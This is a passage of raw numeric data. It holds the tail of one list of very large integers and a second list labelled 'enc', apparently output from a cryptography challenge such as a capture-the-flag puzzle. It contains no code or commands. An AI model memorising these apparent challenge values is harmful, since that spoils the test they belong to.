08660404495001655797366675866419087977,
1159008913833043200217439217221652287470796033362975655203
3603117571900789837120443999206510187867488803399346088289
125054073665601506740336554127673818331,
1096598072452748572780522168522603868154331662759897207175
9062100723449253582819249877551355274697042231642063187883
410521143952065053916634420805278095613,
6792250689831141810332327092368316842056352615784087866428
4497430724912514722717138353134559998012465137395492293838
08383657658020068784156270266365965457,
9904077953874002440933687424953103654858454952653373653892
1348015015073073827564171672412192293850619261457572772920
04621118419647409027316219051795236739,
1151754220853191933756087622015411963092738090565364405889
7827090130989425276448697109971028165842720105947094073346
795336409257996369598636035653189314429,
7382663170502295347230455709091124400968448507339898732033
5902466959504377878300668743318498251181243881513950506354
12979406110848279451813861887512364059,
8620151433489448984574285922150437977631077129275307367351
3579476995308179205406786095967038981827084496606127128735
10225410001178416075055573937930771651,
1026386740218080492349493815367213250292568318492466990839
9073332685017397765230351444106981555593234848728330866003
648005513579061142499694775808450223747,
9503532893557192025288555071065389652870362426744770056531
6339823428823680904034369906855439678451007836742167985111
46218498569557876633269637114329877649,
9119489058105087801735087846979682824653575289428850029983
0634039471408067442806766793385111452607880204118689878709
85601702207537005066088271519378255303,
1143269659145401019531424161674217298873395194674053876967
8723508502718092478301119507778383430483356866510508763731
194308201303632546294292984302415035183,
9627716223155021028915046010276889657249103287464739578808
6872072421457249987027116013019580118629023389118094549013
50623835879332397960796941904163514643,
9268715730748809374851512798153657246208435712553802395968
1921196064391589814366447106020084928955232230365975129829
98589461479780120622246704582440276177,
1294104315377211953915148101273518100176133574503094985970

8929528677535867662655215732560638605474834655943639319764
476144524494755305320748926437586900601,
1129873262689625394064794746182881263633940199399426670056
2028690434237461071987351777499067190927485958005831357346
602106892996424747298314845282707597441,
1321772498740151961928010883866473086533538365740235310659
1630265180283579823802267857917785410597212568291354019315
913163059961676859076383322860063996881,
1008808789719260635293644416105676717058794397825212564621
9920794333596995868539855418386406157681577858507954226571
431267030438853031211983224382109507419,
1208465361834274852990969765988930705020123795415223403930
4788593941147246276620983758905682898272832824836008894165
301035541881908920877427240145725417001,
6789364420870315443004862185271359985715930485926673916188
5021445468636561742548040979860017765033914017884072232889
76239944059971950598496650712092958807,
1246078537983190032389203079939982608113979270946697913502
1435162068711648634179881093363103549713859448179660615450
438099820649413438533751403174502566393,
1061646269745096456023546563067469838397096569434238004894
3733371139246775843475459595865793703725354377971123832861
521717300209737060465839231550338543767,
1212900718982374391168620288676319775249846508027840002026
9743963824941259705212802789627640888125842233665028873956
765096847977755559636800699959013631613,
8154994211192074951351783496645520047945619359541590883058
011262272581016010906666252864864917765671654921060110240
90102348897530055326307805933440197439,
7052342701773593284853413701621070586031820339294285421653
8511711986640367297317407754106979702591371018220021673564
00324768025461440964996999113008159777,
1221334908834568227031563568816700393707100651066700930712
8337606647221477138936625025679790474258453447188789628637
898828877357099516991987410144737553487,
1336131701155296028399207088405729516372175683805098763144
6769253729901374784665875551080062832496602293068842512783
858309395860684031064284209833127676371,
6825394658425986078895333902301159171738897219328802831221
8819441235986121700037399260307037625473471493977853189521
54151135932039424870068994869963732183,

1122169515842798407989229587065909285518298062302057499971
7329892290862042796236814075327002350579196904074350662930
793719299471847911796591050540166422211,
1123375092855700982424283836504443815520607008237318488417
1237844929337193085677580175824151049142381671201580563236
764192186512012896850470399843695201857,
1192581746555199723079014794090303530182726572799734009155
6760429479672149802791596535772248420237336670972300357160
191496820267086481492694713614839141301,
1285386933964914034102857285330140339530408334944716017673
2930341700879334969116158795389555797467526442197644875080
566273286416553013614665930327034411297,
1211715628429171781453444698934850677160364714835356848298
2842553699164877369170372328690493999306780811052168809011
792124192045603171707629269542782462799,
1223935693452242736441875270962984887768991913701647922006
3076067659693939714446898619677467743444867087887871143393
312750200638954037590773256014153150461,
8527921155086753379349098830114694544753557867867528724873
8743719200556067239958914645673379846468770027061954681050
58916637618413051191996052450344824549,
8271709627866961212533247338800398173758055572068743933192
1097325410358406036912371254672390775027083618724332059249
02375512216341898639718952890434580761,
1140298848464168295109684533325091048003561826629553760351
1563223488885593292693715468097911555074975215659392669634
525307933492294741296796804271238238373,
8949307280909223661564154220931175742080086053356581176541
5239124288360522381035821315978079925600650803118764192451
84435214564961751296084448304906116149,
1091779833299022530746396909460808068795697025507406525848
7233940714834499511139292782932917484870279552082207970825
753807139087866738119449361635035699661,
8268173597415261291626655652311368162899052975003138942055
6462006759784525490478135885009104668803821523768686572669
99947074884635005414392116799943725507,
1200788282648931778338622330528063518584863190480095871919
4752404700328711875994879302960619079848940314976170007177
119498519523940933020854387310372674291]

enc =

[197206707832906114376874837444120215983057805056305210968
2646486040096832616293494080813620338085833175354166681889
7243636939755544869199497716544497309817342136465836666430
8867980337683152401505254629746752527576569103224169455769
9700928994253280054017503780037845938483535055109468607746
928065685437125630476059,
2171650143269017437049301405542230111250952981013687332274
6805926222118853527284948521602810682184477520509939000188
4991397722236495510987046446626483275579986229688799351254
4209502439837294214461945811050696361947680014977878844296
0018464101158377494630134945908151838483846595359290369723
68103476878475159629839,
2881218715247166290044056743172785464982514812986854473397
5165362821640770736407577063412459425329323830889509784946
2251064854569697721305220044973251560193121707683348610948
0869258879103981621720601100509590163122661467824352283397
1190444673082955504445166798789173839253860520688033060203
0060147467190142024321,
2801345097114494297210284454714146854033843013449043474583
2234001369564023899555710630058426168648791215265200601940
6157828507396536488282547245193837742081519025807799178029
8920274395137424699321678763873873754047015697161882158701
3894071870632780045840362840948616368761486173121508093549
59258538228512293250073,
1847599897832742714476660334756462609182086810667027987759
1756849605485062543456373031293247015340353684371828532368
9162795250007450207836141614072989294226697490828413467788
3667672856195827752045784527074355431617340535745443785011
8047427785541671813414758245223043977181193606763278836406
48230310609224123171766,
2191643271584719478643582219599291735586927249927977948656
2035351664237273885219395610898635292712468790024108274097
8900248729684030551483150615390181469977795211421042073635
2480667850356179848849612757794693618261974837891134679306
5851114336802378615828456460578258776403340038116452839015
45811191238205780452874,
4729635939440580624020194054329398908174788079624070549392
8016431706931452839212245134663534953989481361995912779893
5601474271749885532548485799658648878272926320414309309910
9306813943778206660936646878814942457478280809583250910236

9049276576190674969332653807488201802581676993879386255478
2472297354715058554316,
5591890306550170742965412246032264546494556751739525149670
1753786858343185086425396038061829475208236879760202688741
5323968466390249156843558736805775842184475256206277915319
6321292600530418256428534451082658331449981545389965572955
9800162085585817377619032051855320958506497763020794680394
3213724066767540975336,
4177588651151595751146405158329945725914291410491894157735
7976324830104313524867258846105182967428351793200637084012
5567926600662723989572139736717062311213429424644759264718
1680786355479571411883754013172108576186669380623507830714
7774960878714126156421364187632409278177570996388068513020
36988505930188723455,
2117199132321723883637065216198949044569862405582511313107
2229116130765708237820625103366902283828789364790134713950
0770024802852103395822410785501552968019962575179881907238
6900105691067734040402439397540331968888177224997580808323
0890502716049158556742841091859615035079097020153356181371
22109136170623258583241,
2875514370527869192628607857020846694600256209818512618519
7645038651888290995298586214955941141429533283334974090028
9104014618442718561456180765984772539044974650270250807046
1346728623145680443642215494371560030464681589404762173088
9617182351868741038430923283522561464523278000914577412660
78539538587399014373149,
2981393397435439169727346664551648036020596504620536501629
5371985480261320833508164154788217976289347467733988521580
7716809666093154231167523849921129000371603670817904622343
2358693118119665635999091428683816141123383451779200864928
1209296548241509744748702118223266356303829035708099794997
18611946211653171769725,
1883946094545092820727758285352054689170677026202400183519
4295004210144909524950254767970160437409159055213984047379
5826804594839960929061396488333669987440092193967129978051
0086113648345079009084993692888014919994647248099719724978
4731822076470065631664313968598165106567920425071995462159
5358291162840647599142,
3003150943153661586855254187016318987968371301986084848959
7868318919383105658436100051836297404165708045378894241832
4411404295546520244257513227543521541012539132311842841141

7979027735002794623485739039703595413112412364384437975223
2589661904163971280880209840265263000781167534995040124722
6069759344134474440537,
2202573724641311361687766564381132763381413644456897808490
7061753668702126199403528690995744526119246511939343514679
9109880181141760615983139404658548402464731568718612961480
9966499917407094151444759200465539821026905257235256314090
2842081010106801372576791233908490929294032101168212850430
35917752949921305646766,
3337437278268573054661585605987918763184754833393575652420
3253178994275465582753395442755162752085166468132607406771
1038377416150835620256721373629748669001329807114738714052
1753078076010626779131712694036504125863321554951777803324
8317986105705233518699131498258623674831365135022352529831
9557970667071380280558,
3013435078310371163306132660186297235403818541942814013963
0287736364542013201337513762598768750299527292446665405956
0128978269294650634546718062874612566497722717978530976923
8399828182380610203128505320886411025990948752620611446787
2601056443882352323932493645942205992203221963727042103349
33209974632200334048773,
2291604304274874080446915604856821931350771082116209204116
0272006717081223158814173970511783078503584856132343406604
0275803336763651887874146206078205675314138111947076705347
0426350727845951760002753575247327473115562450351845225913
4455690267865793995372848347260873633870345525063600625861
96350258774380722669694,
9929078291283285017887133200496183909840571426657308846329
8363609358317440013831447533891980813406317225797852331104
0719531584146158494327710249742962216193242973223929145568
1634118229474309087479527886853937150960634932232240184350
7278662671366429777313043804738079788646982218387747654267
5579669512005363522673,
3048890558911436915182201738824317703737532215410042335876
6392402308677454125314466047296843651334375651419963796894
0398322740601056098880804395341764076675488811432695872720
1081725788231167734843760817446058236021008877755966968578
2139472034197640222175545151602439892663522289390757863258
11590676829086875610637,
2673691286865159585061679857869911821715364309511785566556
8933959934930192069024192298366431927988727322286328177291

7443568669056918904345227891002307350793523426258559511935
9723899047296943601192045766829075869413146973335879775753
0200330838002956119532845167564487407072851132263948379574
08833933694090670694240,
2157483225665894613804266865081192368815215307983872780010
9386538152506035686671291027130957642823231900888535670660
4085921110075610981671951177467546265225285953229846584288
8110859938438046504196530672544456392021936123069606523264
0335681010247867628834577357622726552336802169468710110802
08741667146369930625637,
1470408747709215413042339015991020425866046692165894260149
6074920086748845494535562214354829078859110133995165257747
8353347950930134009494921538152102865977397638490783139955
1327493629785832585996182587396862461905625392848909048465
8123468155151522187392957670952463290998010278637587773991
55355300691658885267487,
2931945425621242117618718068178018402158979730705763617237
4662396062012669999789985404210093245984643256283037688380
0257729463406602377728539552284018529372353309767098672664
5366519030387731841652890726109936486873594338309172347405
7349603419644625777279931997275867733089144786602637570833
7760116310809761034642,
2240553592827103839909716000240086283135702561460098581536
4628818396668003834650935387530204994877624426696076322738
5562501623209172201404225227348702686777282273006291751361
0080962316553664928151071769640438460886414971455971246335
6062405538651435932329165530904339062603249151120747329148
24203706919930934331042,
2362403658247014689379022866717221251830058456865501709571
6751598191992501707234402001945818891144985830188882742707
0969750006838808545353454614744276965094776946816937985117
4463197446731025065650922303866473413671783277615989451862
6823524088432178712421041630133169094334744922208711977484
50312346089243640526134,
3130687330386770854032483345823005478464736869913646581677
3281149951143575282321277921208720631536145531257016000972
9069934505812088692299651136032045191851709070764206939960
8224428288083364268364281140936446370986300049182199093851
5340449048885510019205470993191995151606218583564046182636
39670399726607101261100,
1083425338664469725243605326191870665985861174071001568313

0386400720724675987993348874530464006606054945523278426282
7950584295115732244027605305888615898408435710506430658462
6143409929672049272302738693294820340757643649671386968732
2200301905395335868957564953613026939241410822789979834243
35814001156967016559265,
8267273032242875560271498297746627992296371707805762831783
2486784101981986128362296919662373486135074504657397460066
6919209954764340267467560709088680844842719614522761178330
8139206069235319855459581892908401904124000442988995265803
5641282799598488131993286865459389383328214498329616909586
0386039973332024000187,
2657050221198136016476935853391407836804780911656069015331
0244968211897020511250653335548116480280847816379833620177
2811863998387687754079711386023436629650939233287688744195
4304190232263019242615124792856671195875060304346683923042
1268368509337486243452661002897878433068510150487247653592
50344264787889596652508,
8132165357748443175431943500029829643535399593332497924181
8679629818206387313288570702025825029751641158909212736633
1548290042076234405553183680901010812988178884697944686569
9707813367157871741456274739335886634621506866987786316211
0686383631737374360951597765849319055849578740972784855308
8396610582922740560642,
3266574823905886183721292394008022720468308482906684315499
8331762136152886791270968583345488539466237857788080026649
1013055485633819269165394038758273410631950837527292735242
1863793486072977149276660388767567537970702116107007318447
0366735153844589358997269258538485761945570238573243589988
33050510868939898332006,
2587523296548350741124686747710392971279799864652911434100
9935477721985019224159415676997459480873854020231464451885
4944625699767853257672994860895160184311298739172909080014
0700600135825402299969239415862751813423769092485563047302
1616639797678066301864814205693234937471559577573123311874
66049787857487565750781,
1982228660531388339880293854021160151419923663263678913216
1867796633019996282283905984311815929266861802369763947043
3401255623227525630672510275066982309612848225428369811379
8075305821980748973487268046769600369660415341554680637478
8913898032010585998261577982190414881756302024105351209284
29271894518680989263860,

1091288139127715438201930029411878724935980957961468800540
5935511154877037418529518684834919246659118169699617584414
6496659220307640701066235479790477041402334800273200497760
1437201549429006555977242573546154285853550432276775437113
7386444520615463928286910649214133348676896703484781956284
7642286583434732282665,
5365195404796205430045992248862975172223377936723343670229
1562652965683554083486381709871872684184143988273267117325
6297794603225013887069448502217674944907587455722449404191
5133946607682814169270198720793953972106065888142286535200
4475973611467455196164717338507508737753120676649665815260
5737676422961908646257,
1127474070617429303295312377047877875528602319646717255466
8298495188550791601137520864244682407301967684854989962898
7671908719565889930188983895285718767607231187121741561903
7530750225648694281202195190575144319900923502887521673518
3797639396006866711704686747154758819516801501225255736338
26351423486769084237765,
3123473561241823678063042387899324226995963184539918237737
0626323661755583194343196789864086359092137130849317857131
3300412942521591631653367063682909498918488872651623705908
4359863211210232730095109592151546616949181045790375009258
2864040725367520288939914773541511330111720613027779684948
97457048366635009372890,
2189366320603158705893965873329991089390987517011477117634
7934233949824535532935411479911390284689665171555909821325
2967883565965519003354572227605124966554639173264704147756
4131949706646037028410172595472188882851248704670361690473
5813360566376407092173290647835622762086075696306672223409
41319383772426461960575,
6421268146057875964663667409806473356304533527000671644718
8841085195829124383805009356497487969642295891735366715907
8808242379122914573305265840765535891121354371857866085436
7312314634392061692200834974984038436051510704285449238838
5107256914889585407917039354945120076504539656524153210508
5487254325275634844584,
9293608465627848883810492165477608574748438743363070450354
5724737638312894387090074089190351307230652247288122271623
3380517515710814750035306476844728596410672225910793975049
8712055026091156204272044465969008964369178154738493809741
2898736190214485929573700824342345431547512708975491499821

1364006335246678630724,
2770159223875563256166732056092286243560192560022701668469
3642213656576885966069584366866649642631224871208364615811
2144367686080642077262685153920086549998342962486225868089
8866824349251137780268321255597206229904476614550903278724
5865165540607174118249252098938256895748553008905007453754
87768515180952270240939,
1486061120386402385157532404574890467049144210957120546498
9884426606769519728658968643332240491251790925670175694635
2424747692775039125719514836368240063959964099691794613924
7568233659222044590246669273073508155223823033354911147175
6257485891350090552414057928378034677506821524694477104670
85228418125880467844311,
1594794572492648546806370602500946808279622825756315705924
3004957451168942060623399421471324993410299617176195545009
1055642675098844355708407874503603696284686951474231994731
7839082207065796848936312439128722303822462861445055290469
9609654148148243288399283260807951505347104386639821977721
45549425963920255601219,
2259673960670769245401006514078582674434519481278121839668
7287433136228077483186718882639214647689071463623341622054
3783363900833407038684880345835265193194712917752807901933
6425547830008549224332955503318407676841239477048824956503
6413540519506525659019992321515929817370664080517839375872
09342618135745223744874,
1465461600508267853468565921926136808495746942417754920730
3103154912757322829171833655837200972038601450341544070191
8057619380137917395931796023993571335304821293625161616464
3707756214156456188488671426386276644417215046213664064334
2120161873824375825658386086775522069157368365204744731354
58494965749559303198446,
2486998636556053478766391099275914189967347905007641604896
0905274118496359024266294627190895118123647108992497451914
6560259733194256090930675195712408398685628438570477052808
4697572208601065388307369667180631704477132543274042812938
1888393205980302238879465935520633202188533773956647857800
62657238620977189774959,
1624142666700448741218606361493256307727547875225170974325
2725502631244711614755515811985300965071660730429552424870
9954923449297315347790247424337737078902247126825594502096
2394468305794715684810726910512717924186677660410920539017

6414273400126966975851629819276748241411532653770352131717
20859078878200414633880,
3115297274446300522309564755670916112114093950781690547298
1941877200507979291592944066104247758456975722108922219423
6746939496947189773563979193372289718510327951000463327914
1034071854894647396855154097312857455006774109175209530562
5216763717835011047362675799136201129061191713246033704738
22741775438878245797290,
2739136118617023763826292353675974085127942203293681848712
5441505679696366489089709629010710877959176446934744357620
7519532584958848244030045183836831855844961514012540983940
9953947899443524030402113757623918709278181598935326323129
6810403726003509933679000896976943555554280728903391960616
06117103843260473136974,
1253956214864313386595442599760435457685732307382906642053
3418953716481371945653580223256366905055806398164629797054
0340835792790265215180286352322131206418077918645810494639
6171468419303427009261190525975381250236960603983071501310
3003426090806228802739772506859249111007382214078627457466
70184949009650445760601,
2034633043342154130338277819742000146682530224312490868338
8617647198037829781633121358699136007845559761744366988240
8139693304856726015091253735747871676412047879463680642965
8901547765208141825877258015363461335480319198865428193255
4717668723321905745187657724603265389501524640882959501732
75087801335886293741436,
2297808560738640203698331009556541849698834406641731999838
1518195152842446362572879262269314375009521477125273871156
6145163018953196977002634405306384266938708033306233081671
6161809940515230071653638142631264316902539076234961726245
6213747235576512811933891077504422622215084996229091254179
71735144150214969611758,
2107763563300041594660464729633857086952264433172133842096
0834956997533735495830320180030505241169543560983043331317
4167240889303412303310726912358288816703795060301835473142
7557633158641722760964141953169572959863945278579018682438
2638621129641084389597377731298654136547618773800010291038
73597441965614964645286,
1384523630482268273070957454954610385109817864781544774966
6344395982723134884518440670630546740704384846158453730739
9503709170416114041527534826325460642837932522533228173752

9412776851407488704338994632186020869916736133278726195755
4528733239204772956748479346056304286139269009496354999473
42129635512812097606698,
3186028423607058916852220778821333063868919848339477829052
2919911075045357715465076953244306964403063819540656532577
6828507631276038739904866481438338641240739571390055552825
1789635005788092308366821439244168858907089910391753692697
5415873135570225088049981047056220984014225394658871927685
75191491504285792526668,
5295353094260379755183441654160011331981937234651697921556
8650928875466440814969908097735473735257852859609455884430
2614088237039772313084995662895681689072731909114293372981
6631007493329334344373153528430619100488577179861971994135
5606762729508822299505140730906729426245394579603292808665
3700608828273635821961,
2864593267917045673500413212056188170415107620811212041763
5407151236474875029140123957797675979269784703771418312799
4347663272002912217996225694778739892217893108393080466846
1058610004530616617213627458545542750199473633462770097818
9765397007985678515580126098312910203908644934692350144470
09916733971246762368343,
2789630780021916627664780721881755654205659088727780465451
2491996861465858102739126419248519985420317698167541650597
9581906054411686691043340808632115988359725533094088458124
5378511328478830116312757826553156676233482927391249671178
5304256313977646495776245328843851217527131657788413885782
40028789205386292736927,
1740087838777062261334467633176274769123794789398866926409
7805217914711183866874550267193358420859490937643379764119
6040668921852866613824533103151264593431562385494397777911
3792271834390787402579024771683464764606550417211619856308
5577747251572826492003309240048165250593576762250220948220
40691100448385435582841,
3174868748693420277855903697287052541724924700394745283264
3738233922062841862982729921619785523231789495371154558906
8344197436012063356131467674306248399083911963226425971045
3870616796319615118127251892379715105950271252472460439244
1044998698177158926745203499167025531307449837825741759836
78621955523978068178912,
2576435563331563552402418056978336739460340995946679270140
7306504581000172132684722100964551959462135775531042687891

2194380896906949872571080669285939182144014930583596650712
4943780036990165442786946433557198468272615197053599222954
4565611062903838586452532884041211266166593692248335383757
83791126795612897519094,
1480226380127368763736092247445681057295369039006157055069
2578108419003817189948652405397179506032275605412813747135
2295179248563893680569068881372718625093501914781890579169
3426002826894095622108576465524220832001235033239655091071
9413553447749146298770471829151144070694331459970219111014
85675732332784800283302,
2749189688861788224319842639438156293744994000268532171491
7920226766245906638173423559646433380451113492376708638720
1285350357536592084499012777112912653320892754438377953035
7295689635108206702238886007200280917679941000767780041381
3738604672807451708704633427082022825118182345990735716037
14241470873651030495575,
1182014490753764084749323645840949756551611983340192858557
3903259026808233885199844266395476313987918977720318944979
5891738430531517482501946045961092822306746438595367633424
4369527236369904497123165977527760894216611864096301317621
2500707321899618053127130245745451542583040154092906269822
00200799508914477457678,
2028690950208741207566641330670174734426716400572099722816
2282896823815113424804907987800338459006487470391790351952
9956249370544906649847783335991179971686071959541387154615
7193236858424353087877651006527394365552604378818640599716
4873256200955546836341529617511216817537828185658231791608
05519406113295958032269,
3170245070513001801117336869874816132942436377380502249467
3779909923605041727170225220354905857072136007748633133239
3672283731450035724852701370659338264431211951912735044145
0320813495754048331931427954978659275074362172642709906064
6817351959141534772482892809881648921753003473163288393762
49905210465457249318839,
1058466012656297266085447201939874482421569838375154867851
3091524538374536023154347116208015364494379609741196923538
4119349513468357358301627476959705308205294628983528889769
5416668271832841419240051229208180581852933403596769986808
0186636680298387267872957076258941301213642670698193130180
63362229728995558608941,
1837874003990910259724749328447814919042531119999021666670

0461093894779149214848526338456504089547549250091172757865
1034024279378069790784667537135793231423839586600911867151
0192345920243604998115994842397425512027835955685805362008
2167560514360286906909726341570313113191821511757908809498
84593771141747748388074,
1931469913127141346957362097107657054140833293898614483511
2117844189242026918257714145946550563704441136737866377535
5994836792067289614238027698522418948862254340693761815739
3372373520244079346467166718322927113058773998251229842591
7880336093902402474411135823771545581840556817086164975854
81807126823757149781189,
2943910758143755781795440491582574343242022053442843265616
6008859374848122170781856933991482210960555456901247409414
5882827232993844361613695677372391295701803441278943675997
9292752318144902235312393741721304735280087356719104566322
6434121132161692030958512358764401064594124861858026047493
01266382402897498923361,
2438453493650286537118656709744863455151251962313251202235
1216693697622641368400644427916268807802222742993625156745
5011858030516820823082216783815108729366993504216060630951
3033219163808545281047660681275949781534788083235121876429
1885716811199093450790773577224509514847034522309745988406
82174770616157318115941,
3316610635213235635651767019762828922500465210489924378485
5665560956852902951701984441027479399433161985021189721973
7938963955412068599123397524452046637960603215086000490085
1240755246467732797918651827277371935029145864031233699127
0309726193240187731508795091578975100135994365284269928940
89483867071618049261009,
6447568491101824459222771620570795744618111053940194051389
7266678728852894528648938413442015713980016088937551971005
8743164045680938879364628677076342094426660972804833917977
6955963834545234994546456782116150179954960095722639183574
6424004759973859405016703031175539633583533089799670533683
6704674892688724364757,
2345939293236578065829910605834550301898166512420311340838
8575622841166809706577126071998391997447505945152454435690
6210251796490301467928455136886669875300419543627157822539
2463886937238509748667957197849744221706474403977263905019
0356312951210944260568827690285321455188696492514027431701
81030258012971283780192,

1209931802955748827495712437862201443335379560806204257216
7821415895569778365440768067550437222262452060617011238588
8713849077970637249722572540203552648065902359543573431478
0644443607984506978402980447941414673142858449369254815217
8951390614886172114403037024208631408838126997750492157171
09624445775428164418948,
1067840912007001962764069872196867341813883846314804341297
6425515622917383090149827432823614904068429023676883767318
8602145507326469187713186651599912101376461764556890932342
7171894179942245563898652129632103406618513382930860322230
2014287282905782363055621826543663958342264782817651571642
51539670894250226706221,
6439448152280543725943836095806897147356139047482650494282
9816764027723791798175878006455544209654630560325705517487
0834527980617000545858313199303975841665698247907980101162
7428842527048195483734407327609560162984305607607665464343
5400206282303801185169552725540062979631888428907675525516
4227281936371663811735,
1523602533082401959494740986666382105443313786367418847224
6496393999797314125824050982717189959627595157009203021169
5565450674055788172025080537670764220178442513696572778808
9553291434281348414266552480808269201706556264768037445392
0283129476583352340437515394562904836558294357161540226429
99638936779061798134385,
1506246281794389289699657662466664950330968879614788798555
1305216129826413756214368893527352704912987691007337034580
2625441281871395500124647569924890837118588412007850352027
7779212161054064749918342220526595743320070345181286032512
1175275322862124644826286670307873401438870177448947244180
28487209852435230138506,
3504740684796062951554470627733091857606070490655229330866
1924783238415824558449093461835666240304437028574074779661
5300721804651560490560239180985380289100403145824362983320
3695562680487692490311354685851009767698263624851459627407
6221366094046910532446405049460095788120549526160389736447
9823066290521364576651,
1980410688538975307859986724755897960030223877513302586965
0666487944098703643234154155308970023523072837948211961687
8041041376919730143699935627077797021117978159609867856991
7088095286141425390375593968236956004781935964541627272178
3535958950361266171734799394144948651532273744804742983987

90981938170071235539180,
2035492183480467349673510511919477523982914761446851999655
6320701326184729182150122398806220807249975702856352926028
5105679038266338373092572839594579439301927251029447653174
9750736854300437083784713364066746369013563117438059643302
6574808935577006981606610353507118877033609683733529990477
63370679213103665934208,
2565092986907467612574259726298348618771313108344813862226
8603119628886876255619876733370967520196338795800741717032
3647646709512837129831667244851930523416910554601021759407
0518592109702110410090634627656098845283156134372621963708
5944149359797436507796262681629727007750705877392008602419
10750277316683322769787,
6517790614864918647728926911061477823453814510374447801569
1883348442107447138311910289115493713115136137523087982611
6554817796002869577703392241727156048403802369284360081488
1104675147699927232654030958053371658223010072190715373796
4569515872838331370612567119380392306824562980643733137608
8550785987488415944977,
1363617920386298575537462303536195203800037511480283550338
3487192007570004351489981785755723803199160405287729986758
7901957826938690924529826129915721587238804684690921335120
7838766062714681064880570621619571531180305824031687864216
6717973541313923196113500993549970658884456216359434478586
73899596735530744046835,
1613360963038351110010052126459208267244203328603533338599
4526175795351091743700454372254842400877969145760374204337
0797282792588129206243508796234277060991459736163077374083
4891206729870284320517254882505012313770002742276264443553
1992231467467294084276420923984939032624795858783136024681
89897309429683147629612,
1601071509550637781875687328196327772137615584409716375287
0845585425264751162808850723956248801421211621713520316242
3401067587860427776698531829333064126187488108911821739236
9015499211452516453787045119236480613756120475267024029070
0786351913723750631017038908892870587076167025167222777549
14049068508871139278316,
1530570482434009429911682609699805727338544080008743093093
8598804978604597036123382033519842144019941311127631680971
3237247876085885623722368222686854618463178980961415299663
5036624758521207119899882574379172632049391000278110232493

8999917607365442522211168596158329398114153602340247552381
49780962489756374345654,
8985072134526928707861891467556440841389838305075373087139
8374356331512851467381879718125912121460463976086691599636
5195584939514683146365451729239315209932318222750781019408
2263395884594641259306909915981724743551331258493670102173
5688914067181277671926146418953889597822527192761879773109
6729774136198112669534,
2083899486359999684318754814809365990083943636884098795104
0421308911491759870991379392868497456014227548381397276467
8432051020502825006580590589327478379224548469857418643402
8483873495767096559138378410580151230642940712157378990612
9671485936523537541832643477738533137849250173769210494257
40756975330541520030714,
2547199360300706576728419614938581960342585740569207103190
1081089954309376018533374916405162169965772775906855905947
7838805131033903947132279816595779605026864908280761843820
5977916771944396512724483482385173076949126123687835783560
7271915667655567224394871734551639424020656721174642753328
64229054446303898750664,
2253372095458712996865747565872559721544775214468740364591
9640541038106314526179092359707470213791937267625003170350
7027676603609758001807575084795484811472103238948771364967
3556345254189472534710629473203919887969337079274353852375
7586357302259869575016220103463870585339175346504336635273
96054298169345663457623,
1659783911403232060875111676544095675629957465098780319231
3007478496566473359479640104327848830925820386829630221245
5306735942723854494050568326885082034416722573440568122240
9794584598379905030826773497083597059640185335932978755839
7999622013555611314597950622907629441809120979098991026609
43871095988606672397350,
2884877854940049177450562777989179468322316848645997939600
7633054715550215551357119392375403967543535296528801179587
0168754987679676377431270439686642463818508321217905753269
1260821665672587548037344681303811004492889719275029816494
4061793227964155774575956782537508254423193156603654346253
61703660291545658188243,
4713401127392871774017352170783417493593228991457767815065
1763655456991196908683245448484392037498936111946179543776
5078355722215036396169428176873159514338258581684886089041

5813001337126210584652457328691780495658363398173224048578
8393321209240086174310542453198911297538546867718839953481
1670093161298259271268,
1619153204086891860116237348218684956523171848889025033900
6080882033245861073099478570228203639124336269869395176717
3284793778175187843253680380704689099997186428135676116845
9278103741838474261890825432233621979957859203281855860833
1064080351590554443447730962426264243374644273958404143947
88233553764788783728390,
2634496558423830645776413225672864795462557618266589688061
0503948556768432733061652985251878903136290216257186105243
8648657704003899085465107005412079567720664061285028366037
1251788659720407702025220597857262202789146471470999714154
2930447650680374948590114247193063929608598114677067563365
69600328381236407481474,
1493846702389883870365808311207954314940082136149902973338
4519695620459221200665092073295842124666102502606383557756
6532241831725165750349305201795600557821802031518888531210
2394257190497299240905252475463757597388324482533359679713
5417472662450230687782514262828121107345159623282290505026
88438443771734851034417,
1771875379733892935324578535140091669319888645509818254463
0019879726468636756602506843033568214294955023085372875224
2231780753811981309210904608236029454660992823455727530686
3471942451100486091872459206772026034553892089753806855583
5689869541330263402010991988095930658323136694826510983282
32192183521843142531959,
1596461536553097596442665630314543833472768285867557049938
7925273746546573124459235122761392244006456719517696034772
3699542686576957904493535002933828663243411347293790840164
2609690364862677467351192791131057109828751189053120381735
2114079325806599078432512872675591491731187241663056793188
93532322921899571748362,
1269883802277167025832282027732310234328876567689570228638
9683386644823424938152299248256376291254845984625624167880
7876968052455280782199534852602983872283069742807207179230
3653186563080088239464850910337678783223207153012434498352
2187058542295101166786959462442974252623521626069015385417
82901775011551499994029,
2169964373065644132277705260782744233052070080904513282698
6685819875257176185794679102847806516329258112796187999818

9572553965615502118322358030135951852113776778730240926514
5753365310773695413027275606848474971332646138746588150241
3488551691752882563211541462246845579260368404948434537152
34604206107187085478140,
2646464053838840685578008091312728980791848071076056863716
1708648945423077988408386516286244614969435988186001520110
2503080155649280095641421989912815477397970131817069054376
3494604352795348601625604835903166891561343885822989930143
2973744068570600099295059740093817227451339799321210524452
00508663785572915846872,
1813365660318106580350216863653204122483161029104822168338
2818095363484451400998271363365482071816100859319096284046
8118843487275983560724138603172905307151207029177250965823
6471595010829984673068735119015534473897467956380686875942
1100444374219462468543008570684541332293491551534376403250
68182965324884369520469,
4706536115643878099273424286163439673508982217845278946497
1362377703503880759601291776229674074840555118446711523197
1529004078682115505548289310083454742409817581018162678091
8181888924718789968863766433417222302877437996145863179801
1532066855688819225332137527457182254638251710239350436236
6713685804127244557393,
2688463579358772099839196873836639770428693425113599662079
2180835312519237964854235746396448523470898145948873123056
7806270253022309085960945442991428162835181146982250820909
4341278129485555696773815369909515839270405312172957375776
3870244335822673151308316226349339560405427546327005145496
41119978688038042412625,
1916497291763844913343175293730661524326232318596239640788
8695430446048178671700266535744122695275607777335400651324
4544425015488002853641956440164797009427636592760759359245
0080691376766025204975061653881234200860947417389325054109
5933584500421405555644997894450792341032172356849813977338
23946971483123893916161,
2585920527165948384811169177679043764893448213764370476315
3241351287670441685152549499127777487794962868223388013424
7558228548732737787929364778032703162753180889853987300180
6651476767362897286872345213942186101606940597786011256016
5300731750712665445237716604317244311406510712953211956831
6811228535456948279518,
2668381100343471579945014405895823001404194822209296533223

5007209953673495401327997962539206321932927253623969459505
5177366262165360643043630493832263291340242100712732305853
8453912136893106414719059574279187417355588064255601322142
4697835078266983435317269431655416555518101145929930341546
08647223806074210289753,
1102365484400177031276752581384250655735577930788490821329
6599495598936845175108715089138457756595202165376758391049
